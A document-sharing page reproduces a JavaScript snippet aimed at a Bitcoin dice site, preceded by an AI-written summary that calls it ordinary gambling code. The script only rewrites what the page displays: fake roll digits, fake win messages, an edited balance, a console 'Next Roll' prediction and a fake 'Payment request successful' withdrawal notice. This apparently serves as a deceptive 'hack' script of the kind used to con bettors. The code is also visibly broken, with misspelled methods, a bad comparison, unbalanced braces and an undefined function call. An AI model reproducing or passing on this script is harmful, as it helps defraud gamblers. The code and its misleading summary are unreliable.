Hash

Download as txt, pdf, or txt
Download as txt, pdf, or txt
You are on page 1of 5
At a glance
Powered by AI
The document discusses JavaScript code for a gambling website that generates random numbers and allows users to bet and withdraw funds based on the numbers.

A random number is generated on page load and used to determine outcomes of bets placed by the user.

The user can bet that the random number will be higher or lower than a threshold. If they are correct, their balance increases, and if incorrect it decreases.

var serverseed= "";

var clientseed="";
nounce="";

var balance = parseFloat($('#balance').html());


var temp = Math.random();
temp = temp.toString();

if(temp[0]===0){
var result = parseInt(temp[3]+temp[4]+temp[5]+temp[6]);
}else{
var result = 10000;
}

document.getElementById('double_your_btc_bet_hi_button').onclick = function() {

setTimeout(function(){

document.getElementById("multiplier_first_digit").innerHTML=temp[1];
document.getElementById("multiplier_second_digit").innerHTML=temp[2];
document.getElementById("multiplier_third_digit").innerHTML=temp[3];
document.getElementById("multiplier_fourth_digit").innerHTML=temp[4];
document.getElementById("multiplier_fifth_digit").innerHTML=temp[5];

if(temp[0] == 1){
var result = parseFloat(temp);
}else{
var result = 10000;
document.getElementById("multiplier_second_digit").innerHTML=0;
document.getElementById("multiplier_third_digit").innerHTML=0;
document.getElementById("multiplier_fourth_digit").innerHTML=0;
document.getElementById("multiplier_fifth_digit").innerHTML=0;
}

$('.large-1.small-
1.columns.center.lottery_winner_table_box.lottery_winner_table_second_cell')
[6].innerHTML= result.toString();

if(result> 5250){
document.getElementById("double_your_btc_bet_lose").className = "bold
center double_your_btc_bet_win_message";
document.getElementById("double_your_btc_bet_lose").innerHTML="You BET
HI so you win "+ $('#double_your_btc_stake')[0].value +" BTC!";
document.getElementById("double_your_btc_bet_win").className = "bold
center double_your_btc_bet_win_message";
document.getElementById("double_your_btc_bet_win").innerHTML="You BET
HI so you win "+ $('#double_your_btc_stake')[0].value +" BTC!";
document.getElementById("double_your_btc_error").className = "bold
center double_your_btc_bet_win_message";
document.getElementById("double_your_btc_error").innerHTML="You BET HI
so you win "+ $('#double_your_btc_stake')[0].value +" BTC!";

$('.large-2.small-
2.columns.center.lottery_winner_table_box.lottery_winner_table_second_cell')
[3].innerHTML= $('#double_your_btc_stake')[0].value;
$('.large-2.small-
2.columns.center.lottery_winner_table_box.lottery_winner_table_second_cell')
[3].style.color="green";
balance = balance+parseFloat($('#double_your_btc_stake')[0].value);
document.getElementById('balance').innerHTML = balance.toFixed(8);
}
else if(result<4750){
document.getElementById("double_your_btc_bet_lose").className = "bold
center double_your_btc_bet_lose_message";
document.getElementById("double_your_btc_bet_lose").innerHTML="You BET
HI so you lose "+ $('#double_your_btc_stake')[0].value +" BTC";
document.getElementById("double_your_btc_bet_win").className = "bold
center double_your_btc_bet_lose_message";
document.getElementById("double_your_btc_bet_win").innerHTML="You BET
HI so you lose "+ $('#double_your_btc_stake')[0].value +" BTC";
document.getElementById("double_your_btc_error").className = "bold
center double_your_btc_bet_lose_message";
document.getElementById("double_your_btc_error").innerHTML="You BET HI
so you lose "+ $('#double_your_btc_stake')[0].value +" BTC";

$('.large-2.small-
2.columns.center.lottery_winner_table_box.lottery_winner_table_second_cell')
[3].innerHTML= "-" + $('#double_your_btc_stake')[0].value;
$('.large-2.small-
2.columns.center.lottery_winner_table_box.lottery_winner_table_second_cell')
[3].style.color="red";
balance = balance-parseFloat($('#double_your_btc_stake')[0].value);
document.getElementById('balance').innerHTML = balance.toFixed(8);
}
document.getElementById('previous_roll').innerHTML = result;
}, 1000);

document.getElementById('double_your_btc_bet_lo_button').onclick = function() {

setTimeout(function(){

document.getElementById("multiplier_first_digit").innerHTML=temp[1];
document.getElementById("multiplier_second_digit").innerHTML=temp[2];
document.getElementById("multiplier_third_digit").innerHTML=temp[3];
document.getElementById("multiplier_fourth_digit").innerHTML=temp[4];
document.getElementById("multiplier_fifth_digit").innerHTML=temp[5];

if(temp[0] == 1){
var result = parseFloat(temp);
}else{
var result = 10000;
document.getElementById("multiplier_second_digit").innerHTML=0;
document.getElementById("multiplier_third_digit").innerHTML=0;
document.getElementById("multiplier_fourth_digit").innerHTML=0;
document.getElementById("multiplier_fifth_digit").innerHTML=0;
}

$('.large-1.small-
1.columns.center.lottery_winner_table_box.lottery_winner_table_second_cell')
[6].innerHTML= result.toString();

if(result< 4750){
document.getElementById("double_your_btc_bet_lose").className = "bold
center double_your_btc_bet_win_message";
document.getElementById("double_your_btc_bet_lose").innerHTML="You BET
LO so you win "+ $('#double_your_btc_stake')[0].value +" BTC!";
document.getElementById("double_your_btc_bet_win").className = "bold
center double_your_btc_bet_win_message";
document.getElementById("double_your_btc_bet_win").innerHTML="You BET
LO so you win "+ $('#double_your_btc_stake')[0].value +" BTC!";
document.getElementById("double_your_btc_error").className = "bold
center double_your_btc_bet_win_message";
document.getElementById("double_your_btc_error").innerHTML="You BET LO
so you win "+ $('#double_your_btc_stake')[0].value +" BTC!";

$('.large-2.small-
2.columns.center.lottery_winner_table_box.lottery_winner_table_second_cell')
[3].innerHTML= $('#double_your_btc_stake')[0].value;
$('.large-2.small-
2.columns.center.lottery_winner_table_box.lottery_winner_table_second_cell')
[3].style.color="green";
balance = balance+parseFloat($('#double_your_btc_stake')[0].value);
document.getElementById('balance').innerHTML = balance.toFixed(8);
}
else if(result> 5250){
document.getElementById("double_your_btc_bet_lose").className = "bold
center double_your_btc_bet_lose_message";
document.getElementById("double_your_btc_bet_lose").innerHTML="You BET
LO so you lose "+ $('#double_your_btc_stake')[0].value +" BTC";
document.getElementById("double_your_btc_bet_win").className = "bold
center double_your_btc_bet_lose_message";
document.getElementById("double_your_btc_bet_win").innerHTML="You BET
LO so you lose "+ $('#double_your_btc_stake')[0].value +" BTC";
document.getElementById("double_your_btc_error").className = "bold
center double_your_btc_bet_lose_message";
document.getElementById("double_your_btc_error").innerHTML="You BET LO
so you lose "+ $('#double_your_btc_stake')[0].value +" BTC";

$('.large-2.small-
2.columns.center.lottery_winner_table_box.lottery_winner_table_second_cell')
[3].innerHTML= "-" + $('#double_your_btc_stake')[0].value;
$('.large-2.small-
2.columns.center.lottery_winner_table_box.lottery_winner_table_second_cell')
[3].style.color="red";
balance = balance-parseFloat($('#double_your_btc_stake')[0].value);
document.getElementById('balance').innerHTML = balance.toFixed(8);
}
document.getElementById('previous_roll').innerHTML = result;
}, 1000);
};
clear();
console.log("Next Roll is : " + result);

var aBalance = parseFloat($('#balance').html());


var winBalance= parseFloat($('.br_0_0_5_0').html());
var fee = parseFloat($('.manual_withdraw_fee').html());;
var newBalance = parseFloat(aBalance+winBalance).toFixed(8);
var withAllLink = parseFloat(aBalance-fee).toFixed(8);

var e = document.getElementsByTagName('button')[50];
var d = document.createElement('a');

d.innerHTML = e.innerHTML;
e.parentNode.insertBefore(d, e);
e.parentNode.removeChild(e);
d.setAttibute("id", "withdrawal_button");
d.setAttibute("class", "orange_button center");
d.setAttibute("style", 'border-style: solid;border-width: 1px;cursor: pointer;font-
family: inherit;font-weight: bold;line-height: normal;margin: 0 0 0;position:
relative;text-decoration: none;text-align: center;display: inline-block;padding:
14px;font-size: 1.25em;background-color: #2ba6cb;border-color: #2284a1;color:
white;margin:auto; margin-top:10px;font-size: 15px;font-family: arial,sans-
serif;margin:auto; margin-top:10px;');

document.getElementById("balance").innerHTML=aBalance;
}

$('.withdraw_all_link').click(function() {
document.getElementById("manual_withdraw_amt_recv").innerText=aBalance;
document.getElementById("withdrawal_amount").focus();
document.getElementById("withdrawal_amount").value=withAllLink;
});

document.getElementById("withdrawal_button").onclick = function() {
$('.reward_point_redeem_result').attr('class','center
reward_point_redeem_result_box reward_point_redeem_result_success');
$('.center.reward_point_redeem_result_box').attr('class','center
reward_point_redeem_result_box reward_point_redeem_result_success');
setTimeout(function()
{document.getElementById('reward_point_redeem_result_container_div').style.display
= 'block';}, 1000);

aBalance = "0.00000000";
function activation(){
x=document.getElementsByClassName("reward_point_redeem_result_box");
for(var i = 0; i < x.length; i++){
x[i].innerText="Payment request successful. The payment will be sent
out in 6 hours.";
}
}activation();
document.getElementById("manual_withdraw_amt_recv").innerText=fee;
document.getElementById("withdrawal_amount").value="";
setTimeout(function(){

document.getElementById('reward_point_redeem_result_container_div').style.display =
'none';
}, 5000);

outLoop();

};

function outLoop(){
//setTimeout(function(){
// document.getElementById('pending_payouts_table_new').style.display =
'block';
//}, 5000);
};
loopMoney();

You might also like